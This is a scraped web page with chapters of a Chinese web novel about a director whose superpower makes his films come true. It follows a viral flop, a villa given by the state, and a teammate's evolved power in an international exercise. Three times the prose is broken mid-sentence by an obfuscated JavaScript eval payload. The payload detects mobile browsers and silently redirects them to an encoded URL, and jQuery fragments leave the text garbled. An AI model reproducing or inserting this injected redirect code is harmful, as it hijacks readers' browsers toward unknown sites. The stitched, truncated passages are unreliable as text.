【温行烂片系统】 热搜第二是【温行一切都在我的计划之中】 点进去一看，发现一波认为他身上有系统的人和另一拨认为他是在舍身取义的人，正在认认真真地吵架。 温行：？？？ 这都是什么和什么？ 紧接着他又看到了隔了几个排名的第三条热搜：【《长风断剑》有望竞争榜单第一！】 他吓了一跳，赶紧去看是什么榜单，然后发现是一个全国烂片榜。 温行：“……” 他竟然有种松了口气的感觉，不对，他为什么要因为这个松了口气…… 总之，断网五天的温大导演一朝回到互联网中，就发现自己已经看不懂舆论的走向了。不过有一点是清楚的，他拍摄的这部烂片已经火到了人尽皆知，并且肉眼可见的，将会成为某种互联网记忆一直被流传下去。也许几十年后，还是有人会不断回味这部知名大作…… 不是，原来拍得太烂也是一种错吗？ 颇为悲痛的他，点开了黎南说电影这个up主的私信后台。随着电影的上映，黎南之前的那个毒奶视频播放量也在以一个恐怖的速度上涨。电影上映前视频播放量是70多万，算是一个普通热门视频的播放量。然而，现在这个视频的播放量已经突破千万了，甚至还被放在了c站必看榜上，评论区全是打卡他这个反向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812899|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预言家的—— 【哈哈哈哈哈，慕名打卡】 【打卡+1】 【第一次见到反向预言的，这何尝不是一种天赋】 【得了一种看到up信誓旦旦说这是部好片子就想笑的病】 温行想，和他有着相同的处境，这位up主一定是世界上最能理解他的人了。 怀着一种同病相怜的心情，他给对方发了私信： 【up主，谢谢你之前帮它说话，但是这部电影确实是个大烂片啊。】 【你打算什么时候删掉上一个视频啊？没关系，互联网的更新速度是很快的，很快就没有人记得这件事了。】 最后一句话，也不知是在安慰对方还是在安慰自己。 另外一边，黎南注意到了这个锲而不舍给他发私信的账号。 现在他的视频爆了，后台塞满了私信，但和温行一样，从最开始就给他发私信的账号却不多，尤其是这个账号一直坚持说电影是个烂片。最开始还觉得这人是在抬杠，但现在他看出来了，这人纯粹就是出于一片好心在劝他。 这让他还怪感动的，但是删除视频……那是不可能删的。 确实，最开始看着网友们对自己的嘲笑，他还有些心梗，但很快，眼看着播放量和粉丝量都在以一个惊人的速度上涨，那点伤心顿时就烟消云散了——努力了三年都没起成功的号，就这么轻轻松松地起来了！ 别说难过了，他现在嘴角比ak还难压。甚至还主动下场，以玩梗的方式回应了一波评论区，又给自己续了一波热度。 而且吧，因为这件事还真不能怪他，这反转正常人都想不到，所以评论区基本上都是善意的嘲笑和调侃，算是无痛起号了，比那些动辄失去浮木的方式好了不知道多少。 于是他还反向劝了温行一波： 【没事没事，黑红也是红嘛，现在这件事话题度这么高，我还得感谢《长风断剑》呢】 温行被他的脑回路惊了一下： 【啊？】 黎南继续劝说： 【对啊，流量不蹭白不蹭嘛。你看这部电影，虽然它是部“烂片”，但是从另外一个角度讲，它给进入电影院的观众们带来了欢乐啊！甭管是怎么带来的你就说带没带来嘛，从这个角度讲这是部大大的好电影，导演收获了票房，观众收获了快乐，我这个up主也收获了流量，三赢啊！】 温行：“……” 他被黎南这颠倒黑白的本事惊得目瞪口呆。 大概也是回头发现自己说的太过头了，黎南赶紧补了一句：【咳，总之，我的意思是说既然都吃这碗饭了，节操什么的就不要太在乎嘛，当然那种违背公序良俗的肯定不行，哎总之我就是这么个意思，放宽心吧】 温行看着手机屏幕，他竟然诡异地从黎南的话里得到了一丝宽慰，也许这就是一个合格的烂片导演应有的觉悟吧。 哎，他这个烂片导演，也是要有觉悟和牺牲的啊，温行此刻的心中充满了悲壮。 他正打算真心实意地感谢一下黎南，就在这时候，他就看到对方刚发的新视频，还是关于这部电影的，标题甚至和上一条只有一词之差： 【我打赌，这将是近十年来最好的搞笑片，没有之一！】 温行：“……” 你说谁是搞笑片呢！ 16.别墅 之后的一段时间，《长风断剑》的热度就在温行提心吊胆的注视下一直居高不下。这个热度连同网上关于它的各种梗，一直持续了半个月才慢慢消了下去。 而到下映的时候，这部电影的票房已经超过四亿了。当然，这是后话。 令他松了口气的是，网络上关于这部电影的舆论，居然远没有他想象的那么不堪，虽然大部分都是嘲笑的，也有不少嘲笑他这个导演本人的，但基本上都没有什么恶意，打开wb后台私信，都是沙雕网友在哈哈哈地玩梗。 不过他不知道的是，就算网络上大部分舆论都是正面的，这么大的基数也不可能一点恶意评论都没有。 然而，网友1:【***这什么**导演拍的**片啊，侮辱智商】 系统提示：已自动检测到不文明评论，请您重新编辑后发出。 网友1:？ 他又不死心地重新试了几次，然后—— 系统提示：检测到多次不文明行为，账号已永久封禁。 网友1:？？？ ——在温行看不到的地方，国家也在密切关注着这部电影和他相关的舆论。 作为国家的大英雄，肯定不能让网络上出现辱骂温行的言论的，这是最基本的底线！ 而其余的正常讨论，和没有恶意的玩笑，则经过慎重讨论之后保留了下来。因为这完全出乎他们意料的、事情的发展方式，使得这部影片的传播量在玩梗的基础上达到了一个超乎想象的高度。所以说对待这种有利的方向，不仅没有控制，反而还以隐秘的手段推波助澜了一把，比如说，增加几个热门话题的实时排行。 是的，这几天这部电影的讨论度能这么高，虽然一开始是舆论自然发酵起来的，但也和后期的精心推动离不开关系。 不过这一切温行就一概不知了，他在家里躺平了一段时间，每天的生活就是睡到中午吃午饭，下午和晚上美滋滋地打一天游戏，晚上再去楼下便利店买个夜宵。 这天晚上去楼下的时候，他还碰到了对门的邻居。大妈笑呵呵地和他打招呼——小温啊，你这两天有没有上网啊，最近有个和你同名的导演可火了。 温行赶紧嗯嗯嗯地敷衍过去，回到家才松了口气。幸好他这个名字不算特别罕见，周围的人都没有把他和那位鼎鼎大名的烂片导演联系起来，只当是重名。 不过，虽然其他人好糊弄，家里人却不一样了，自从《长风断剑》上映之后，家里人看着他的目光就隐隐有些不对劲。 温行也不想连家里人都瞒，于是在某天晚饭吃饭的时候，下定决心说出了这个消息。 …… 然而，几人的反应和他想象的都不同。 爸爸哦了一声，顺手夹了个菜。 妈妈：“我当你说啥呢，这不是早就知道的事嘛。” 只有妹妹看到了他脸上还没有来得及散去的坚定的表情，顿时翻了个白眼：“哥，你摆出这么大个阵仗干啥，都表现的这么明显了，真当我们看不出来吗。” 爸爸呵呵一笑，把菜盘子顺手往呆滞的温行那推了推：“来吧，吃菜吃菜。这两天老王他们几个同事聊起来，我都说是重名的，压根没人怀疑，放心吧。” 妹妹也接过话茬：“是啊，我和我同学也是这么讲的。这事情谁能往这方面猜啊，干嘛搞这么沉重。” 温行：“……” 只能说不愧是一家人吗，连脑回路都这么一致。 不过这么一来，他总算是不再担心了。 温行又在家里躺了几天，就在某个上午，家门被敲响了。 现在家里该上班的上班该上学的上学，只剩下他一个人了，所以温行只好挣扎着从温暖的被窝里起来。 他穿着个睡衣，圾拉着个拖鞋就开了门，然后被门口的两个黑衣人吓了一大跳：“呃……” 虽然之前已经在保密机构待了很久了，什么阵仗都见过了，但突然出现在自己家门口的工作人员还是把他吓了一跳。尤其是这代表机密的黑色制服，每次看他都要不适应一会儿。 两个来人主动对他说：“温先生，这部电影上映的热度很高，但是也多多少少把您卷进舆论中了，国家的意思是应该给您一些补偿，您要不要去看看？” 温行没想到还有这一茬，赶紧推辞：“哈哈，没事没事，我感觉我没受到啥影响啊，不用这么客气。” 他是真这么想的，毕竟自己的待遇和钱已经好到让他有点受宠若惊了，而且电影上映之后根本没他什么事，这补偿领的还怪不好意思的。 直到他穿好衣服之后和两人上了车，过了半个小时载着他的车停了下来，温行下了车，一眼就看到了自己面前的独栋别墅：“我……去。” 他撤回以上的所有话并且感谢国家！ 这栋别墅在城郊的位置，环境优美还自带一个小庭院，庭院里还有个小喷泉，喷泉的水珠在阳光下折射着亮晶晶的光。 温行一下子就给看傻了。 他刚一进去，就有个类似管家的角色领着他从里到外转了一圈。逛完之后他只想感慨，这也太壕无人性了！整栋别墅里最不值钱的东西，可能还是他本人这个曾经的穷鬼。 不过虽然别墅非常奢华，他自认为自己这个暴发户不一定能住惯。而且距离市中心比较远，上班也不方便。所以还是打算回到原来的住处去。 就在这时候，陈继广的电话打过来了，笑眯眯地问他礼物收到没有。温行先是抒发了一通自己刚才的震撼之情，顺带表示了一下感谢，又问陈继广： “陈叔，但是我平时不打算在这里长住，会不会有点浪费啊？” 陈继广在电话那头呵呵一笑：“不浪费不浪费，小温你收着就行，有空闲的时候来这边享受享受生活，开开party之类的也可以嘛。” 温行：“……好的，陈叔。” 话说这老爷子还怪新潮的呢，开party都说出来了。 陈继广在电话对面沉吟了片刻。 送这个礼物的目的当然不仅是为了补偿，更重要的是借此机会让他们的人接触一下温行，看看对方状态如何。这段时间温行一直待在家里，他们没法直接见到人，光是线上聊呢又不一定能看出温行的真实状态。 毕竟现在温行可是国家的宝贝珠子，一点闪失都不能有。虽然说他们已经把各种可能含有恶意的评论封掉了，但网络上这么大的舆论，和随之而来的精神压力，也不是一般人能承受的，更不用说温行还是个二十岁出头，初出茅庐的导演了。 刚才温行坐在车上的时候，陈继广就接了一次工作人员的汇报，说温行看起来情绪挺好，就是有点爱睡懒觉，上午十一点了还打着呵欠穿着睡衣给他们开门。 虽然听汇报是没问题，但不亲自聊聊还是不放心，所以就又自己打了通电话。 温行自然是不知道自己的底都被透了个精光，刚得到别墅的他此刻整个人都是飘的，听到对面的陈继广犹犹豫豫欲言又止，还十分豪迈地主动开口：“陈叔，你有啥话就说吧，国家有什么需要我都尽力完成！” 陈继广被他这中气十足的声音吓了一跳，不过心里也踏实了些：“不是不是，我就是问问你最近没受什么影响吧？毕竟最近的舆论……” 温行嘿嘿一笑。 别的不提，在脑回路和心大这方面，他和家里人实在是一脉相承：“陈叔你说什么呢，我只是个刚好重名的普通人而已，他们说的温大导演和我有什么关系啊？” 陈继广：“……” 这他是真放心了。 * 之后，又过了半个多月，《长风断剑》在公映两个月之后下映了。 就在当天，喻逸明的异能完成了二次进化，据说由于威力太大没控制好，差点炸毁了一栋楼，现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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不知道算是该失望还是该松一口气，喻逸明的异能并没有影片里那样夸张地射出激光。毕竟温行的异能不是百分百照搬，而是一定程度地映射到现实，不然也太逆天了。据说应该是一种肉眼不可见的能量波，可以摧毁目标物体。 也就是说，从某种意义上真的是“一个眼神杀人无形”了，比电影里的还要酷炫一个档次。 至于威力嘛——在场的那坨黑色物体已经说明了一切。 喻逸明犹豫了片刻，又对两人说：“其实吧，我的异能好像还不止如此。我感觉它好像和我之前的异能结合在了一起……” 温行没什么反应，一旁的陈指挥已经脸色一变，倒吸了一口冷气。 温行看他这样，忍不住问：“陈指挥，喻队长之前的异能是什么啊？” 陈指挥深吸一口气：“A级异能，追踪和透视。” 喻逸明之前在队伍里就有“鹰眼”之称，因为他的异能可以透过障碍物搜寻敌人，追踪特定的目标，视野可以覆盖几十公里的作战区。不过毕竟是辅助性异能，威力差了一点。 但如果和他现在的能力结合起来的话，岂不是说——直接把“搜寻”换成了“杀死”？那可是无视任何障碍物的异能，包括一切防御器械。也就是说只要进入这个区域，就再无可能从他的异能中逃脱。 这种层次的异能，不管是用在明面的对敌还是暗中的威胁……绝对是一道可以让其他国家投鼠忌器的大杀器啊！ “好！好！好！”陈指挥大笑着狠拍喻逸明的肩膀：“你确定是真的吗？现在有没有能力施展出来？” 喻逸明迟疑道：“我感受一下……” 他话音未落，又是“轰”的一声巨响，从隔壁的房间中传了出来。 在全场科研人员们震惊的目光中，喻逸明：“对不起，我好像一不小心把隔壁的仪器也……” “……” “……” “……” 死寂，现场只剩下一片死寂。 17.国际演习 据说之后的一个月里，为了防止这样的事情再度发生，喻逸明一直在昼夜苦练。只不过一般的训练是训练怎么强化能力，而他的训练是怎么控制住太强的力量，不要动不动炸东西…… 总之刻苦训练一个月，终于练成了个半吊子的喻逸明，就这么和陈指挥一起上了又一次异能演习。 这次异能演习是蓝国主动发起的，目的就是让他们的这位S级异能者首次亮相，震慑一下前段时间蠢蠢欲动的其他国家，尤其是鹰国。 这次，蓝国还创下了最快击败鹰国的记录——不过鹰国的异能者也叫苦不迭，这让他们怎么打？演习开始还没一会儿呢，喻逸明那个开挂了的异能就把他们一个个都送出去了！ 其中，最狼狈的就属那个叫亚历克的S级异能者了，说来也不巧，喻逸明的异能天克他这个隐匿攻击型的异能者，所以全程都在狼狈不堪地逃命，压根没有什么反击的机会。 更可气的是——喻逸明的异能每次都会出点控制不好的岔子，把他的帽子、衣服、裤子……全炸得破破烂烂的，有几次他这个人都差点被炸飞。偏偏始作俑者每次都十分真挚地道歉，说不好意思自己刚才没控制好…… 憋得亚历克一口血差点没喷出来。 演习结束后，他心怀不甘地走到喻逸明旁边：“喻，你很强，我输得心服口服，但是你至少应该告诉我，击败我的这个异能叫什么名字吧？” 在场的其他国家的队员，也都把充满敬畏和好奇的目光落在了喻逸明身上。 喻逸明：“呃……” 他和陈指挥对视一眼，才发现他们这段时间只顾着训练，居然连异能的名字还没起呢！ 亚历克还在一脸认真地等着他的回答，喻逸明本来想找个一听就很酷炫的名字出来，然而瞪了半天眼睛之后，他不得不绝望地承认—— 他想不出来啊。 不仅想不出来，此刻他满脑子都是沙雕网友们的评论： 【我草，死神之眼！】 【哈哈哈瞪谁死谁，可不是么】 【男主：你敢和我对视一秒吗.jpg】 是的，“死神之眼”这个外号，和它连带出的一串梗，已经成为喻逸明这个男主角的代名词了。 而喻逸明这个人本性又比较害羞内敛，不像温行那么心大，所以这两天一闭眼就是这个外号和网友们哈哈哈哈的嘲笑，以至于在关键时刻，居然只能想起这些东西了！ 他只得绝望且认命地闭上了眼睛：“就叫死神之眼吧。” 不料周围人听到这个名字之后，纷纷露出若有所思地表情，就连亚历克都说：“死神之眼吗？确实是个和它本身一样可怕的名字啊。” 啊？喻逸明睁开眼。 这也算是某种误打误撞了，不了解蓝国前段时间发生的事，也不了解这个名称由来的其他国家的人，就直接按照字面意思理解了这个异能的名字。 所以对于他们来说，这是个很令人记忆深刻的名字，狂妄，却又非常贴切，就像这个异能本身一样见到之后就无法忘记。 而在他们各自回国之后，“死神之眼”这个可怕的名字，连同它背后那位蓝国的新锐异能者，就这样传遍了各个国家…… …… 而在另一边，温行只知道自己休假的时间已经够长的了，都有点坐不住了。 而且，就算他坐得住，国家也快坐不住了。之前虽然测试出了他的异能，但是其效果如何、能够发挥到什么程度，都还是未知数。然而这部电影和它带来的效果却结结实实地说明，温行这个能力的效果比他们想象中的还要强大！ 因此所有人都期盼着他能赶紧回来拍第二部电影，就连陈继广这个一向随性的老头都坐不住了，给温行发了好几个暗示的消息问他什么时候打算拍第二部电影。据他说，现在国家各部门的一大堆领导都堆在他那个小小的异能局里，啥也不干地等着温行回来呢…… 虽然还是以温行的意愿为主，但陈继广都急成这样了，温行也不好意思再多休息，收拾了下行李就准备出发。出发前一天，他又接到了陈继广的电话。 他还以为是陈继广又打电话来催他了，接了电话：“陈叔，不是说好明天来接我嘛，我行李都收拾好了。难道我还能不走吗？” 不过陈继广那边的声音喜气洋洋的，显然不是因为这个：“小温，你看这两天的新闻了吧！要不是喻逸明他们在上一次演习中表现出彩，展现出绝对的威慑力，鹰国那帮家伙还真不一定能松口……” 温行：“……呃，什么新闻？最近有什么大新闻吗？” 他用求救的目光环视四周，最终落在了爸爸身上。就和其他这个年龄段的男人一样，爸爸也不可避免地有了解时事的爱好。 爸爸一拍大腿：“最近的大新闻只有一个啊，那就是咱们和鹰国之间的国境防御条约终于签了！不过也奇怪啊，居然让步了这么多，真不像是鹰国的作风啊。” 奈何饭桌上的其他人都是不看新闻的主，所以他说得再慷慨激昂也只能收获一些迷茫的目光。 爸爸：“……” 爸爸：“这么重要的新闻，你们都没看过吗？” 说着，他打开电视机，调到新闻频道的回放。 果然，就像他说的那样，蓝国和鹰国确实签订了一个新的条约，温行对这些不太懂，只知道这是一个针对两国国家防御战略的重要条约，而且是有利于蓝国的，意味着一些对蓝国有威胁的重要位置上鹰国不得布下防御性武器，算是给蓝国的国土安全又增加了一道新的保障。即使一直保持着声音和表情的沉稳，两个专业主持人的播报中还是透露出一丝喜悦，可见这是个多么重要的信息了。 温行惊讶地看着这条新闻，耳边是陈继广“小温你可是国家的大功臣啊”的絮絮叨叨，心中涌起了一股暖流。 虽然之前有很多人强调过他的异能对国家很重要，也见过喻逸明二次进化之后的异能威力，但他自己却一直没有什么实感。直到现在骤然把电视上的大新闻和自己联系了起来，才感受到了一丝不可置信，以及随之而来的自豪和喜悦。 看到国家更加强大，真是太好了！ * 这下，他连最后一点工作的不情愿都没有了，迫不及待地踏上了返程的道路。 然后，他就被异能局里的情况吓了一跳。 之前陈继广催他回来的时候苦笑着说“一堆国家领导堆在异能局里，啥也不干地等着他”，他还以为只是一种催促的话术，没想到回来之后才发现所言不虚。随着陈继广一个个介绍过去，温行越来越汗流浃背，各个部门日理万机的领导，都在这里等着他。 而且，这群位高权重、年过花甲的领导，此刻一点应有的沉稳也没有了，看着他的眼神一个比一个热切，简直就像是看到了嘴边的大肥肉…… 温行被这阵仗吓了一大跳，偏偏陈继广看好戏一样地躲在一边，颇有种“死道友不死贫道”的意味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823438|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 直到温行被热情的领导们弄得左右支绌汗流浃背，才大发善心地劝说道：“各位先不要着急，总有人得先和小温讲讲现在的情况嘛。” 温行这才得到了解脱，听陈继广讲了下之前发生的事情，这才明白为什么所有人都以这样的目光看着他了。 原来之前拍摄的第一部电影，对于国家来说只能算是试点，那个时候温行的异能效果尚不明确，稳妥起见，这部电影从剧本到选题再到拍摄，除了少数几个其他领域的知情者之外就全是异能局内部的人。就连喻逸明这个主演也是从异能作战部队里选出来的。 而第一部电影成功之后，经过几位负责人商讨，就稍稍放开了限制，让一些国家重要部门的高层领导也得知了这个情况。当然，保密还是很严格的，知道温行能力的基本上就是集中在这房间里的这些人了，都经过严格的背景调查。 接下来的时间，就全是各个部门领导为了决定温行下一部电影要拍什么的争吵，啊不，会议。 每个部门都希望温行接下来拍摄的电影是和他们相关的，公说公有理婆说婆有理吵得不可开交，寸步不让。平时可能他们还会注意点面子上的和谐，现在却是全然顾不上了——这可是一个可以使相关领域得到巨大提升的机会！这么大个机会面前，还管什么面子问题！ 于是温行歇了多久，他们就吵了多久。眼看着最后一群西装革履的领导都要撸起袖子直接开始干架了，陈继广终于忍耐不住了，率先提议：“既然这样，那不如直接让温行决定好了！” 正在争吵着的会议室霎时陷入了沉寂。 不过不得不说，这还真是个有用的提议，毕竟他们就算是再怎么吵下去也吵不出结果来，还不如直接交给温行选择，也好让其他人死心。 所以现在，他们看着温行的目光，就像在看着全村的希望…… 温行实在是招架不住他们的热情，赶紧说自己回去会好好考虑一下的，这才从中解脱了出来。之前这群人吵架归吵架，正事倒是也没耽误，一份各个部门的简要介绍立刻就送到了他手上，连同领导们“没关系啊小温，你千万别有压力”的叮嘱。 温行：“……” 这样让他更有压力了。 不过这份介绍还挺有用的，因为如果单靠他自己的话，恐怕连国家究竟有哪些部门都数不清。 他看了一圈，最后拿定了主意。下一部，就拍和科技有关的电影好了！ 至于原因嘛，一方面在他的认知里，对于国家最重要的除了国防就是科技了，而且他还怀揣了一些私心，蠢蠢欲动地想着能不能在电影里搞点黑科技啥的。 毕竟那些上交文、系统文不都是这么写的嘛。 另外一方面，他相信，在科技部专业人员的支持下，这部电影必不会像上次一样拍成烂片了。毕竟上回纯粹是因为乌龙，加上异能这个东西确实不好展现在武打片里，才阴差阳错导致了这样的结果。 但这次就不一样了，科技这种东西一听就非常的严谨、充满逻辑，以及最重要的，正常。 没有了夸张的激光和离谱的特效，这电影再烂能烂到哪去？ 于是，温行就大手一挥地选择了科技部，顺便打电话给杨浩波这个御用编剧告诉了他这个消息，让他可以先琢磨琢磨怎么写。 对上一部烂片耿耿于怀的杨浩波，也认为温行的这个选择是正确的。 想到了一起去的两人一致认为，稳了，肯定稳了！